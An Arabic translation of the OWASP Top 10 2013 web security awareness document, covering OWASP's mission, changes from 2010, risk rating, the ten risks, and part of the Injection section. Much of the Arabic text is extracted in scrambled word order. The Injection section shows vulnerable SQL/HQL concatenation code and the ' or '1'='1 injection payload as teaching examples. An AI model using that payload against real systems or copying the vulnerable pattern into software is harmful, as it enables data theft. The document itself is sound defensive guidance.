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 إعادة لأي3.0. الإصدار بالمثل والترخيص النسبة بخواصCreative Common  الإبداعي المشاع رخصة تحت الوثيقة هذه نشر تم

 .الآخر للطرف الرخصة وأحكام شروط وتوضيح بيان عليك ،توزيع أو إستخدام

 المنظمة عن

 

 مفتوح مجتمع عن عبارة هو)أواسب( الويب تطبيقات لأمن المفتوح المشروع

 بشكل التطبيقات على والحصول وشراء تطوير من المنظمات لتمكين مختص

 :مايلي مفتوح وبشكل مجانا ً الحصول  يمكنك( أواسب) في .به الوثوق يمكن

 التطبيقات أمن ومعايير أدوات•

 ،البرمجية للنصوص الآمن والتطوير ،التطبيقات أمن إختبار في متكاملة كتب•

 البرمجية للنصوص الأمنية والمراجعة

 معيارية أمنية تحكم وأدوات مكتبات•

 العالم حول الفرعية المنظمات•

 متطورة أبحاث•

 العالم حول واسعة مؤتمرات•

 بريدية قوائم•

 

 https://www.owasp.org   :المزيد على تعرف

 

 هي( أواسب) لمنظمة الفرعية والمنظات والمنتديات والوثائق الأدوات جميع إن

 التطبيقات أمن نقدم .التطبيقات أمن بتطوير المهتمين لجميع ومفتوحة مجانية

 الأساليب أفضل لأن وذلك والتقنية؛ ،والإجراءات ،البشري العامل تتضمن كمشكلة

 .الثلاثة المجالات هذه جميع تحسين تتطلب التطبيقات أمن في فعالية

 

 لنا تسمح التجارية الضغوط من حريتنا .نوعها من فريدة منظمة هي( أواسب)

 .التكلفة ناحية من وفعالة وعملية متحيزة غير التطبيقات أمن عن معلومات تقديم

 للتقنيات الواعي الإستخدام ندعم أننا مع ،تجارية شركة أي تتبع لا( أواسب) إن

 فإن ،المصدر مفتوحة البرمجيات مشاريع من الكثير غرار على .التجارية الأمنية

 .ومفتوح تعاوني بشكل المواد من كثيرة أنواع تقدم( أواسب)

 

 ،تقريبا ً .للمشروع المستمر النجاح تضمن ربحية غير منشأة هي( أواسب) مؤسسة

 ،المجلس أعضاء فيهم بمن ،المتطوعين من هم( أواسب) إلى المنتسبين جميع

 ندعم نحن .وأعضائها المشاريع وقادة ،الفرعية المنظمات وقادة ،العالمية واللجان

 .التحتية البنى وتوفير بالمنح الإبداعية الأمنية الأبحاث

 

 !إلينا إنضم

 مقدمة

 

 والصحية المالية التحتية؛ بنياتنا مختلف تضعف آمنة الغير البرمجيات إن

 التعقيد مستوى يتزايد كما .الأخرى الحرجة التحتية والبنى والطاقة والدفاعية

 ستزيد التطبيقات أمن لتحقيق الصعوبة مقدار فإن التحتية البنى في والترابط

 تلك مثل البسيطة الأمنية بالمشاكل التساهل الممكن من يعد لم .مضاعفة أضعاف

 .المشروع هذا في سنعرضها التي المشاكل

 

 أمن عن الوعي نشر هو( العشرةًالأوائل -أواسبً) المشروع من الهدف إن

 تواجهها قد التي الحرجة الأمنية المخاطر أبرز بتحديد وذلك التطبيقات

 والكتب المعايير من العديد في( العشرةًالأوائل) مشروع ذكر تم .المنظمات

 ،(PCI DSS) ومعيار ،(MITRE) منظمة ذلك في بما والمنظمات والأدوات

 ،(FTC) الفيدرالية التجارة وهيئة ،(DCA) الدفاعية المعلومات نظم وكالة و

(  العشرةًالأوائل -أواسبً) مشروع من الإصدار هذا يعتبر .الكثير وغيرها

 تم .التطبيقات أمن مخاطر بأهمية الوعي نشر في العاشرة السنوية الذكرى بمثابة

 مع ،2003 عام في( العشرةًالأوائل -أواسبً) من الأولى النسخة إصدار

 تنسيق إعادة تم  2010 نسخة في .2007و2004ًً عامي في ثانوية تحديثات

 .الإنتشار بمقدار طفق وليس الخطر قيمة على بناءً  المخاطر ترتيب ليكون الوثيقة

 .الأسلوب نفس إتباع سيتم  -2013- الإصدار هذا في

 

 في تبدأ منشأتك لجعل( العشرةًالأوائل -أواسبً) إستخدام على نشجعك نحن

 .الأخرى المنظمات أخطاء من الإستفادة لهم يمكن المطورون .التطبيقات أمن

 تخلقها التي الأمنية المخاطر إدارة كيفية عن التفكير في البدء التنفيذين على

 .مؤسساتهم في البرمجية التطبيقات

 

 يكون بحيث التطبيقات لأمن برنامج لبناء نشجعك فإننا ،البعيد المدى على

 ،والأحجام الأشكال بمختلف البرامج هذه تأتي .منشأتك وتقنيات ثقافة مع متناسق

 .الإجراءات نماذج بعض في مايوصف بكل القيام  محاولة تجنب عليك ويجب

 ماهو وقياس للقيام منشأتك في القوة نقاط منًبالإستفادة قم ،ذلك عن عوضا ً

 .لك مناسب

 

 .التطبيقات أمن في لجهودك الفائدة( العشرةًالأوائل -أواسبً) تقدم أن نتمنى

 أو الأسئلة طرح بشأن( أواسب) منظمة مع التواصل في التردد عدم نرجو

owasp- الإلكتروني البريد عبر عام بشكل وذلك الأفكار أو الملاحظات

 @lists.owasp.orgtoptenًًأوًبشكلًخاص

 .dave.wichers@owasp.org 
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 الترحيبية الكلمة

 ،إنتشارا ً وأكثرها الثغرات لأهم شمولية أكثر لتكون  2010 نسخة من التصنيفات أحد وسع التحديث هذا !2013 لعام بنسخته( العشرةًالأوائل -أواسبً) في بك مرحبا ً

 صنف بإنشاء وذلك  ”Security Component“ الأمني المكون على الضوء سلطت كذلك  .إنتشارها بيانات تغير على بناءً  التصنيفات بعض ترتيب أعاد كذلك

 .2010 نسخة من )الخاطئة الأمنية الإعدادات( السادس بالصنف الموجود الغموض بذلك مزيحة ،الأمني الخطر لهذا خاص

 

 شركات أربعة تتضمن ،التطبيقات أمن في متخصصة منشآت سبعة من تقديمها تم بيانية مجموعات ثمانية على مبنية( العشرةًالأوائل -أواسبً) من  2013إصدار إن

   تفاعلية وأخرى ،للنصًالبرمجيً”static“ ثابتة فحص أداة تقدم أحدها) ”SaaS“ كخدمة البرمجيات مقدمي بذلك شاملا ً- الأدوات مقدمي من وثلاثة إستشارية

"dynamic”ًإختيار تم. التطبيقات وآلاف المنشآت مئات خلال أمنية ثغرة 500,000 الـ تتجاوز البيانات هذه (.النوعين كلا تقدم والثالثة ،تحاكيًهجومًالمخترقين 

 .تأثيرها ومدى ،وإكتشافها ،الأمنية الثغرات إستغلال إمكانية تقدير إلى بالإضافة هذه البيانات لمجموعةللإنتشارً وفقا ً (الأوائل العشرة) عناصر وترتيب

 

 نقاط نتيحة المترتبة الآثار حول والمنظمات والمدراء البرمجيات ومعماري والمصممين المطورين تثقيف هو( العشرةًالأوائل -أواسبً) لمشروع الأساسي الهدف

 كيفية عن لإرشادات تقديمها إلى بالإضافة ،المخاطر عالية الأمنية المشاكل من للحماية الأساسية التقنيات تقدم( العشرةًالأوائل) .الويب تطبيقات في الأمنية الضعف

 .الأمنية المخاطر هذه معالجة

 تحذيرات
 

 على تؤثر قد التي الأمنية القضايا من المئات هنالك .العاشر العنصر عند لاتقف

  أواسب من للمطورين الإرشادي الدليل في مناقشتها تم كما التطبيقات أمن

(OWASP Developer’s Guide )ًمن المساعدة الأوراق سلسلةو 

 هام الوثائق هذه قراءة إن (.OWASP Cheat Sheet Series) أواسب

 الثغرات إيجاد كيفية عن إرشادات تتوفر .الويب لتطبيقات مطور لأي جدا ً

 الدليلوًًأواسب من للإختبار الإرشادي الدليل من كلا ً في بفاعلية الأمنية

 .أواسب من البرمجية النصوص لمراجعة الإرشادي

 

 دون من حتى .بإستمرار ستتغير الأوائل العشرة قائمة إن .المستمر التغيير

 للثغرات تتعرض قد ،بك الخاص للتطبيق البرمجي النص من واحد سطر تغيير

 لمزيد .اللإختراق أساليب وبإستحداث جديدة امنية أخطاء إكتشاف بسبب الأمنية

 التالية الخطوات ماهي» بـالأجزاءًالمعنونةً مراجعة يرجى ،المعلومات من

 .الأوائل العشرة – أواسب آخر في« والمؤسسات ،والمحققين ،للمطورين

 

 وتركز الأمنية الثغرات مطاردة عن للتوقف مستعدا ً تصبح عندما .بإيجابية فكر

 معيار لك قدمت أواسب فإن التطبيقات لأمن قوية تحكم أدوات تأسيس على أكثر

 Application Security Verification“  التطبيقات أمن من التحقق

Standard” التحقق يلزم عما التطبيقات ومراجعي للمنظمات إرشادي كدليل 

 .منه

 

 من جبل بين ومخبأة جدا ً معقد الأمنية الثغرات تكون قد .بحكمة الأدوات إستخدم

 لإيجاد فاعلية الأكثر الأسلوب إن ،الحالات من كثير في.البرمجي النص أسطر

 .المناسبة بالأدوات مجندة البشرية بالخبرة هي الأمنية الضعف نقاط وإزالة

 

 ثقافتك من لايتجزأ جزءً  المعلومات أمن جعل على بالتركيز قم .لليسار إدفع

 تأمين نضوج نموذج في المزيد إكتشف .التطبيقات تطوير منظمة خلال

 .البرمجيات متانة كتيبو المفتوحة البرمجيات

 العمل عزو
 

 وتحديثها وقيادتها لمبادرتها )Aspect Security( شركة إلى موجهة شكر كلمة

 جيف الرئيسيين ولكاتبيها ،2003 عام إبتدائها منذ (الأوائل العشرة – لأواسب)

 .ويتشرز ديف و ويليامز

 

 

 

 

 دعما ً الأمنية للثغرات الإنتشار بيانات بتقديم ساهمت التي المنظمات بشكر نرغب

 (:الأوائل العشرة – أواسب) من  2013 لإصدار

 Aspect Security – إحصائيات 

 HP – Statistics from both Fortify and WebInspect 

 Minded Security – إحصائيات 

 Softtek – إحصائيات  

 Trustwave, SpiderLabs – (صفحة50ً)  إحصائيات 

 Veracode – إحصائيات 

 WhiteHat Security Inc. – إحصائيات 
 

 العشرة – أواسب) من السابقة النسخ في ساهم من كل بشكر نرغب كذلك

 عليه ماهي الأوائل العشرة – أواسب تكون لن المساهمات هذه دون من (.الأوائل

 – أواسب) من النسخة هذه مراجعة خلال البناء ونقده بوقته ساهم من نشكر .اليوم

 :(الأوائل العشرة
 

(ويكيبيديا منظمة) باسو آدام 

بوبيرسكي مايك (Booz Allen Hamilton) 

جيغلر تورستن 

سميثلاين نيل (MorphoTrust USA  )من الويكي نسخة لتجهيزه 

 للملاحظات وتقديمه الأوائل العشرة أواسب
 

 للعديد النسخة هذه بترجمة سيقومون الذين المترجمين جميع مقدما ً نشكر ،وأخيرا ً

 .العالم حول للجميع متاحة ممايجعلها اللغات من

I المقدمة 
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 ؟2013 و 2010 عام نسختي بين التغيرات ماهي

 تقنيات وإصدار ،المخترقين من المحرزة التطورات هي التطور هذا في أساسية عوامل .بإستمرار تتغير التطبيقات أمن تواجه يتال الأمنية للتهديدات العام المنظر إن

 العشرة – أواسب) وبإستمرار نحدث ذلك لمواكبة .المعقدة للنظم المتزايد الإنتشار كذلك ،المدمجة الدفاعات من المزيد إلى بالإضافة أمنية ضعف نقاط من تعاني جديدة

 :ةالتالي بالتغيرات قمنا ،2013 لعام الإصدار هذا في (.الأوائل

 البحث نتيجة هو الصعود هذا بأن نعتقد. البيانية المجموعات على بناءً  الإنتشار نسبة بسبب (الإتصال جلسة وإدارة الهوية من التحقق ضعف) العنصر صعود1)

 .(A3) مع  (A2)الخطر مرتبة تبديل إلى دعا التغيير هذا .هإنتشار حقيقة بسبب وليس ،المجال هذا في المكثف

 قائمة في( الموقع عبر الطلبات تزوير) وجود نتيجة ذلك بأن نعتقد. A8-2013الىA5ًً-2010 من (”CSRF“ الموقع عبر الطلبات تزوير) العنصر نزول2)

 .التطبيقات في أقل وجودها جعل مما كافي بشكل عليها بالتركيز  "framework" العمل إطارات ومطورو المنظمات قامت لذا ،سنوات ستة منذ( العشرةًالأوائل)

 :شمولية أكثر لتصبح( العشرةًالأوائل -أواسبً) من 2010 نسخة في (للروابط الوصول ضبط في الفشل) الثامن العنصر نطاق بتوسيع قمنا3)

+8A-2010( :للروابط الوصول ضبط في الفشل)، 7 نسخة في الآن أصبحA-2013( :الوظيفي بالوصول التحكم إهمال “Function”) جميع تغطي لكي 

 ."URL" الروابط فقط ليس لها؛ الوصول المسموح الوظائف ماهية لتحديد الأساليب من العديد هناك .الوظيفي المستوى على بالوصول التحكم أدوات

 (:الحساسة البيانات كشف) :6A-2013: ليكون واحد عنصر في 9A-2010و7A-2010ًً العنصرينوتوسيعً بدمج قمنا4)

 مخاطر إلى بالإضافة ،(النقل طبقة حماية ضعف: )A9-2010والعنصرً( للبيانات آمن الغير التشفير: )A7-2010العنصرً بدمج الجديد العنصر إنشاء تم-

 العنصرين في تغطيته تم والذي بالوصول التحكم ماعدا) الحساسة البيانات حماية إجراءات جميع الجديد العنصر هذه يغطي. المتصفح في الحساسة البيانات

2013-A4ًً2013و-A7) أخرى مرة المتصفح إلى إرسالها وحتى ،التطبيق خلال وحفظها وإرسالها ،المستخدم من تقديمها منذ وذلك. 

 :(الضعف معروفة مكونات إستخدام:)7A-2013 - بإضافة قمنا5)

 المكونات إستخدام إنتشار بسبب بها خاص صنف لها أصبح النسخة هذه في لكن ،(الخاطئة الأمنية الإعدادات: )A6-2010 خلال الموضوع هذا تغطية تم+

"components" الضعف معروفة مكونات إستخدام بسبب الأمنية المخاطر زيادة إلى ادى مما التطوير في. 

 (السابقة) 2010 لعام( العشرة الأوائل -أواسب ) (الجديدة) 2013 لعام( العشرة الأوائل -أواسب )

A1 – الحقن “Injection” A1 – الحقن “Injection”  

A2  - الإتصال جلسة وإدارة الهوية من التحقق ضعف “Broken Authentication 

and Session Management”  
A3  - الإتصال جلسة وإدارة الهوية من التحقق ضعف “Broken Authentication and 

Session Management”  

A3  - الموقع عبر البرمجة (XSS) “Cross-Site Scripting )XSS(”  A2  - الموقع عبر البرمجة “Cross-Site Scripting )XSS(”  

A4  - آمنة الغير المباشرة الإحالة “Insecure Direct Object References” A4  - آمنة الغير المباشرة الإحالة “Insecure Direct Object References”  

A5  - الخاطئة الأمنية الإعدادات “Security Misconfiguration” A6  - الخاطئة الأمنية الإعدادات “Security Misconfiguration”  

A6  - الحساسة البيانات كشف “Sensitive Data Exposure”  
A7  - العنصر مع دمجها تم – للبيانات آمن الغير التشفير (2010-A9)  

“Insecure Cryptographic Storage” 

A7  - الوظيفي بالوصول التحكم إهمال “Missing Function Level Access 

Control”  
A8  - لتصبح نطاقها توسيع تم – للروابط الوصول ضبط في الفشل (2013-A7) 

“Failure to Restrict URL Access” 

A8  -  الموقع عبر الطلبات تزوير (CSRF) “Cross-Site Request Forgery 

)CSRF(”  
A5  - الموقع عبر الطلبات تزوير “Cross-Site Request Forgery )CSRF(”  

A9  -  الضعف معروفة مكونات إستخدام “Using Known Vulnerable 

Components’ 
العنصر في تغطيتها A6 :الخاطئة الأمنية الإعدادات< 

“Security Misconfiguration” 

A10  -  محقق الغير التوجيه “Unvalidated Redirects and Forwards” A10  -  محقق الغير التوجيه “Unvalidated Redirects and Forwards” 

 ”Insufficient Transport Layer Protection“  النقل طبقة حماية ضعف  - A6-2013 A9 العنصر مع A7-2010  إلى بالإضافة دمجها تم

 RN الإصدار مذكرة



 الأمنية؟ التطبيقات مخاطر ماهي

 

ً لاتمثلقدً أوحقيقي،ً أمني خطر المسارات هذه من كل تمثل قد .للمنظمة أو للعمل إما الضرر لإلحاق وذلك تطبيقك خلال مختلفة مسارات عدة استخدام للمخترقين يمكن
 .لإهتمامأيًخطرًيستحقًا

 

 

 

 

 

 

 

 

 

 

 

 هذه إستغلال من الناتج الضرر فإن ،وبالمثل. جدا ً صعبة تكون قد أخرى أحيان وفي ،جدا ً سهلة عملية المسارات هذه وإستغلال إيجاد يكون قد ،الأحيان بعض في
 ،تهديد عامل بكل المرتبطة الإحتمالية تقييم فبإمكانك ،لمنظمتك الأمني الخطر قيمة لتحديد .عملك/للقضاءًعلىًتجارتك كافية تكون قد أو ،عواقب أي لاتنتج قد المسارات
 .الإجمالية الخطر قيمة تحديد يمكن سويا ً العوامل هذه جميع بأخذ. لمنظمتك والعملي التقني التأثير مدى لتقدير سويا ً دمجهم ثم ومن أمنية ضعف ونقطة ،إختراق ومؤشر

 ضعف نقطة

 هجوم

  عوامل
 لتهديد

 ضعف نقطة      تأثير

 هجوم

 مؤشرات
 الهجوم

 الضعف نقاط
 الأمنية

 التأثيرات
 التقنية

 التأثيرات
العمل على  

 هجوم

 تأثير

 تأثير

 أصل

 وظيفة

 
 أصل

Asset 
 ضعف نقطة

 أداة
Control 

 أداة

 ضعف نقطة أداة

 التحكم أدوات
 الأمنية

 مخاطر الأمنية التطبيقات مخاطر

 مراجع
 

 

 ):أواسب( موقع

•  OWASP Risk Rating Methodology 

•  Article on Threat/Risk Modeling 

 
 

 :خارجية روابط

•  FAIR Information Risk Framework  

•  Microsoft Threat Modeling (STRIDE 
and DREAD) 
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 لكل. المنظمات من واسعة لمصفوفة الأمنية المخاطر أبرز تحديد على تركز ) الأوائل العشرة–  أواسب(
 وذلك التقني تأثيرها ومدى وقوعها إحتمالية عن عامة معلومات نقدم ،الأمنية المخاطر هذه من واحدة

 .لتقديرالمخاطر )أواسب( منهجية على والمبني التقديرالتالي مخطط بإستخدام

 

 

 

 

 

 

 

 يمكنه الذي التهديد عامل يتوفر لا قد ،معطى تطبيق لأي .وعملك بيئتك بخصائص المعرفة لديك ،فقط أنت
 كل تقييم عليك ،ذلك أجل من .عملك على أضرار أي التقني التأثير لايسبب قد أو ،لها المقابلة الهجمات تنفيذ
 عمل على والتأثيرات ،الأمنية التحكم وأدوات ،التهديد عوامل على بالتركيز وذلك ،بنفسك أمني خطر

 تعتمد كخصائص العمل على التأثيرات أن ذكرنا كذلك ،للتطبيق كخصائص التهديد عوامل بذكر قمنا .منشأتك
 .منشأتك داخل تطبيقاتك تفاصيل على تعتمد أنها بيان أجل من ذلك كل .العمل ونوعية التطبيق على

 ونوعية ،الهجوم نوعية على بناءً ( العشرةًالأوائل -أواسبً) في الأمنية المخاطر مسميات استنباط تم
 مع ،الأمنية المخاطر وبدقة لتعكس الأسماء إختيار تم .تسببه قد الذي التأثير ونوعية ،الأمني الضعف
 .الأمني الوعي لرفع غالبا ً الشائعة المصطلحات إختيار على -أمكن حيث– الحرص

 على التأثيرات
 العمل

Business 
Impacts 

 التقنية التأثيرات
Technical 
Impacts 

 الضعف إكتشاف
 الأمني

Weakness 
Detectability 

 الضعف إنتشار
 الأمني

Weakness 
Prevalence 

  مؤشرات
 الهجوم
Attack 

Vectors 

 التهديد عوامل
Threat Agents 

 خصائص
 /التطبيق
 العمل

الإنتشار واسع سهل خطير  سهل 

 خصائص
 التطبيق

 متوسط شائع متوسط متوسط

شائع غير صعب ثانوي  صعب 

http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/Threat_Risk_Modeling
http://www.owasp.org/index.php/Command_Injection
http://fairwiki.riskmanagementinsight.com/
http://msdn.microsoft.com/en-us/library/aa302419.aspx
http://msdn.microsoft.com/en-us/library/aa302419.aspx
https://www.owasp.org/index.php/Top_10
https://www.owasp.org/index.php/Top_10
https://www.owasp.org/index.php/Top_10
https://www.owasp.org/index.php/Top_10
https://www.owasp.org/index.php/Top_10
https://www.owasp.org/index.php/Top_10
https://www.owasp.org/index.php/Top_10
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology


 »interpreter" مُفسِر لوسيط موثوقة غير بيانات إرسال عند تظهر  (SQL, OS, and LDAP) حقن مثل ،الحقن ثغرات
 بيانات على الإطلاع أو مسموحة غير أوامر لتنفيذ المُفسِر تخدع أن الخبيثة المخترق لبيانات يمكن .إستعلام أو أمر من كجزء
 .صلاحية دون من

 - A1 الحقن 

 ،صحيحة غير بطريقة الإتصال جلسات إدارة أو الهوية من بالتحقق العلاقة ذات التطبيق وظائف تطبيق يتم ،الأحيان غالب في
ف أو ،المفاتيح أو ،المرور كلمات بسرقة للمخترقين ذلك ممايسمح  ثغرات إستغلال كذلك بالإمكان أو ،الإتصال جلسة معرِّ
 .آخرين مستخدمين هويات بإنتحال أخرى

 - A2من التحقق ضعف 
 جلسة وإدارة الهوية

 الإتصال

 منها إلتحقق دون من المتصفح إلى وإرسالها موثوقة غير بيانات بإستلام التطبيق يقوم عندما الموقع عبر البرمجة ثغرات تظهر
 في "scripts" برمجية نصوص بتنفيذ المخترق يقوم أن الموقع عبر البرمجة ثغرات تسمح ".escaping“ تخطيها أو

 توجيه إعادة أو ،الإلكترونية المواقع تشويه أو ،بالمستخدم الخاصة الإتصال جلسة سرقة إلى يؤدي قد والذي الضحية متصفح
 .خبيثة أخرى مواقع إلى المستخدم

 - A3عبر البرمجة 
 الموقع

 المجلدات اقائمة أو الملفات مثل داخلية لمكونات مراجع بتعريض المبرمج يقوم عندما آمنة الغير المباشرة الإحالة ثغرة تظهر
 يتلاعب أن للمخترق يمكن ،الحماية أساليب من غيرها أو بالوصول التحكم أدوات تطبيق دون من .البيانات قواعد مفاتيح أو

 .مناسبة صلاحيات دون من بيانات إلى للوصول المراجع بهذه

 - A4 المباشرة الإحالة 
 آمنة الغير

 ،تالتطبيقا خوادم ،"frameworks" العمل إطارات ،للتطبيقات الأمنية الإعدادات وتطبيق تحديد يتم أن يتطلبًالجيدالتأمينً
 غالب أن حيث ،عليها والمحافظة وتطبيقها الأمنية الإعدادات تحديد يجب .والمنصات ،البيانات قواعد خوادم ،الويب خوادم

 .بأول أولا ً البرمجيات تُحدث أن يجب ،ذلك إلى بالإضافة .آمنة لاتكون الإفتراضية الإعدادات

 - A5الأمنية الإعدادات 
 الخاطئة

فات ،الإئتمانية البطاقات مثل الحساسة البيانات بحماية لاتقوم التطبيقات من الكثير   الهوية من التحقق وبيانات ،الضرائب ومُعرِّ
 أو ،مالية إحتيالات لإجراء المطلوب بالشكل محمية الغير البيانات هذه مثل تغيير أو سرقة للمخترقين يمكن .مناسب بشكل
 تطبيق كذلك ،النقل أو الحفظ عند تشفيرها مثل ،الحماية من مزيد تتطلب الحساسة البيانات إن. أخرى جرائم أو ،الهوية سرقة

 .المتصفح مع البيانات هذه تبادل عند خاصة إحتياطات

 - A6البيانات كشف 
 الحساسة

 كل في.  "UI" المستخدم واجهات عبر الوظائف تلك إظهار قبل الوظيفية الوصول صلاحيات من بالتحقق التطبيقات أغلب تقوم
.  الخادم جانب في "function" وظيفة لكل الوصول صلاحيات من التحقق إجراءات نفس لتطبيق التطبيقات تحتاج ،الأحوال

 دون من وظائف إلى الوصول أجل من طلبات بتزوير يقوموا أن للمخترقين يمكن فعندها ،الطلبات من التحقق يتم لم إذا
 .مناسبة صلاحيات

 - A7التحكم إهمال 
 الوظيفي بالوصول

 الإتصال جلسة ملف تتضمن مزورة  (HTTP)طلبات إرسال على الضحية متصفحتجبرً الموقع عبر الطلبات تزوير ثغرات
"session cookie" يسمح هذا .مصابة أخرى ويب تطبيقات إلى المستخدم هوية من للتحقق تستخدم معلومات أي و 

 .المصاب التطبيقفيً صادرةًمنًالضحيةًومشروعةًبأنها تظهر طلبات إنشاء من الضحية متصفح بإجبار للمخترق

 - A8الطلبات تزوير 
 الموقع عبر

 حال في. كاملة بصلاحيات الأمر غالب في تعمل ،الأخرى البرمجية والوحدات العمل وإطارات المكتبات مثل ،المكونات
 استخدام إن. الخادم على الإستحواذ أو خطيرة بصورة البيانات فقد إلى يؤدي قد الهجوم هذه مثل فإن المكونات إحدى إستغلال
 .والأضرار الاختراقات من لمجموعة ويعرضه للخطر التطبيق دفاعات يعرض قد أمنية بثغرات إصابتها معروف مكونات

 - A9مكونات إستخدام 
 الضعف معروفة

 موثوقة غير بيانات وتستخدم ،أخرى ويب مواقع أو صفحات إلى المستخدمين توجيه إعادة أو بتوجهيه الويب تطبيقات تقوم
 مزورة مواقع إلى الضحايا توجيه إعادة من المخترقين يتمكن قد المناسبة التحقق إجراءات  دون من. الوجهة صفحات لتحديد

 .فيها له مصرح غير صفحات إلى للوصول التوجيه أو ،خبيثة ببرمجيات مصابة مواقع أو (إلكتروني إصطياد)

 - A10الغير التوجيه 
 محقق
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 خصائص

 العمل / التطبيق

 التأثير

 خطر

 الإكتشاف

 متوسط

 الإنتشار

 شائع

 الإستغلال إمكانية

 لسه
 التطبيق خصائص

 القيمة الإعتبار في خذ
 التجاريةً/العملية

"business value"  
 المتضررة للبيانات
 المشغلة وللمنصة
ـر  رقةس الممكن من.للمُفسِّ
 تغييرها أو البيانات جميع

 لسمعة يمكن هل. حذفها أو
 تتضرر؟ أن عملك

 

 :الحقن ثغرات عن ينتج قد
 ،إفسادها أو البيانات كشف

 أو ،المسؤولية إنعدام أو
 وقد .الوصول تعطيل
 الأحيان بعض في تؤدي
 على الكامل الإستحواذ إلى

 .المستضيف الخادم

 

 بيانات بإرسال التطبيق يقوم عندما الحقن ثغرات تظهر
 شائعة الحقن ثغرات تعتبر .المُفسِر إلى موثوقة غير

 لغات في عادةً  توجد .العتيقة النصوص في خاصة الإنتشار
 أو  (SQL, LDAP, Xpath, NoSQL) الإستعلام

 XML)في كذلك  (OS commands) النظم أوامر
parsers) و (SMTP Headers )متغيراتو 

 عند الحقن ثغرات إكتشاف السهل من .وغيرها ،البرنامج
 غالبا ً الصعب من يكون لكن ،البرمجي النص مراجعة
 إستخدام للمخترقين يمكن .الإختبار مرحلة  خلال إكتشافها
 المدخلات إختبار وبرامج  "scanners" الفحص برامج

 .الحقن ثغرات لإيجاد"fuzzer" العشوائي

 بإرسال المخترق يقوم
 لإستغلال نصية هجمات
 "syntax" صياغة قواعد
 "interpreter" المُفسِر

 أي ،الغالب في .المستهدف
 أن يمكن بيانية مصادر
 بما ،للحقن مؤشر تكون
 .الداخلية المصادر ذلك في

 

 يا أن الإعتبار في خذ
 مياقال هيمكن شخص
 غير بيانات بإرسال
 بمن ،النظام إلى موثوقة
 المستخدمين فيهم

 ،الداخليين أو ،الخارجيين
 .المدراء أو

 

 الإختراق لكيفية أمثلة

 :مصابة(SQL) إستعلام جملة لتكوين موثوقة غير بيانات يستخدم التطبيق :الأولالمثال 

  String query = "SELECT * FROM accounts WHERE 
  custID='" + request.getParameter("id") + "'"; 

 إستعلامات عنه ينتج قد العمل لإطار التطبيق من الأعمى الوثوق ،بالمثل :الثانيالمثال 
 :(Hibernate Query Language – HQL) الإستعلام لغة مثل ،مصابة

  Query HQLQuery = session.createQuery)“FROM 
accounts 
  WHERE custID='“ + request.getParameter("id") + "'"); 

 قيمة وإرسال المتصفح خلال من  (id)المعامِل قيمة تغيير للمخترق يمكن ،الحالتين كلا في
( ‘ or ‘1’=‘1  ). المثال سبيل على: 

http://example.com/app/accountView?id=' or '1'='1  

 .الحسابات جدول من السجلات جميع لإرجاع الإستعلامين كلا في المعنى سيغير هذا
 إجراءات إستدعاء حتى او البيانات في تغيير عنها ينتج قد خطورة الأكثر الهجمات
 .مخزنة

 هل أنا معرض لهذه الثغرة؟
 من بالتحقق هو الحقن ثغرات من يعاني التطبيق كان إذا ما لمعرفة طريقة أفضل

ــر استخدامات جميع أن  الأوامر عن موثوقة الغير البيانات عزل فيها يتم المُفسِّ
 ضرورة يعني فهذا ،(SQL) الإستعلام لغة لطلبات بالنسبة .والإستعلامات

ة الجمل جميع في  "bind variables"مرتبطة متغيرات استخدام  مسبقا ً المُعدَّ
 إستخدام وتجنب ،"stored procedures"  المخزنة والإجراءات
 ".dynamic queries" التفاعلية الإستعلامات

 كان إذا ما لإكتشاف طريقة وأدق أسرع هي البرمجي النص فحص عملية إن
ــر يستخدم التطبيق  النص تحليل (برامج أو) أدوات تساعد .سليمة بطريقة المُفسِّ
ــر استخدامات إستكشاف البرمجي  .  التطبيق خلال البيانات تدفق ومتابعة المُفسِّ
 تطوير عبر الثغرات هذه وجود من التحقق لهم يمكن الإختراق مختبري

 .لذلك مناسبة استغلالات

 إختبار من  "dynamic scanner" الآلية التفاعلية الفحص برامج تتمكن قد
 لا قد .استغلالها يمكن حقن ثغرات أي وجود من يعاني كان إذا ما وبيان التطبيق
ــر إلى الوصول من دائما ً الفحص برامج تتمكن  في صعوبة ستواجه وبهذا المُفسِّ
  "error handling" الأخطاء معالجة سوء. فشله من الإستغلال نجاح تحديد
 .الحقن ثغرات وجود إكتشاف جدا ً السهل من يجعل صحيح بشكل

 مراجع
 :أواسب

• OWASP SQL Injection Prevention Cheat Sheet 

• OWASP Query Parameterization Cheat Sheet 

• OWASP Command Injection Article 

• OWASP XML eXternal Entity (XXE) Reference Article 

• ASVS: Output Encoding/Escaping Requirements (V6) 

• OWASP Testing Guide: Chapter on SQL Injection 
Testing 

 :خارجية روابط

• CWE Entry 77 on Command Injection 

• CWE Entry 89 on SQL Injection 

• CWE Entry 564 on Hibernate Injection 

 

 
 كيف أمنع هذه الثغرة؟

 :والإستعلامات الأوامر عن موثوقة الغير البيانات عزل تتطلب الحقن ثغرات منع

 تتجنب والتي "API" البرمجية التطبيق واجهة بإستخدام هو المفضل الخيار1.
ــر استخدام   المعامِلات واجهة عبر مخاطبتها أو ،كامل بشكل المُفسِّ

"parameterized interface". واجهات استخدام عن الحذر يجب 
 حيث بالمعامِلات تتعامل التي المخزنة الإجراءات مثل ،البرمجية التطبيق
 .الحقن ثغرات في تتسبب أن يمكن

 بالمعامِلات تتعامل التي البرمجية التطبيق واجهة توفر عدم حال في2.
"parameterized API" تخطي صياغات -وبحذر– استخدام فعليك 

 مشروع .»special character" الخاصة الرموز بعض لتخطي مناسبة
 )OWASP’s ESAPI( التخطي أساليب من الكثير يقدم. 

 ،بها ينصح التي الإجراءات من البيضاء القوائم عبر المدخلات من التحقق3.
 تتطلب التطبيقات من كثير أن حيث ،كامل دفاعي الأسلوب هذا لايعتبر لكن

 الرموز استخدام وجوب حال في .كمدخلات الخاصة الرموز استخدام
 يقدم .استخداما ً الأفضل هما( 2 و 1 رقم) أعلاه فالأسلوبان ،الخاصة
 من التحقق أساليب من شاملة مكتبة )OWASP’s ESAPI( مشروع

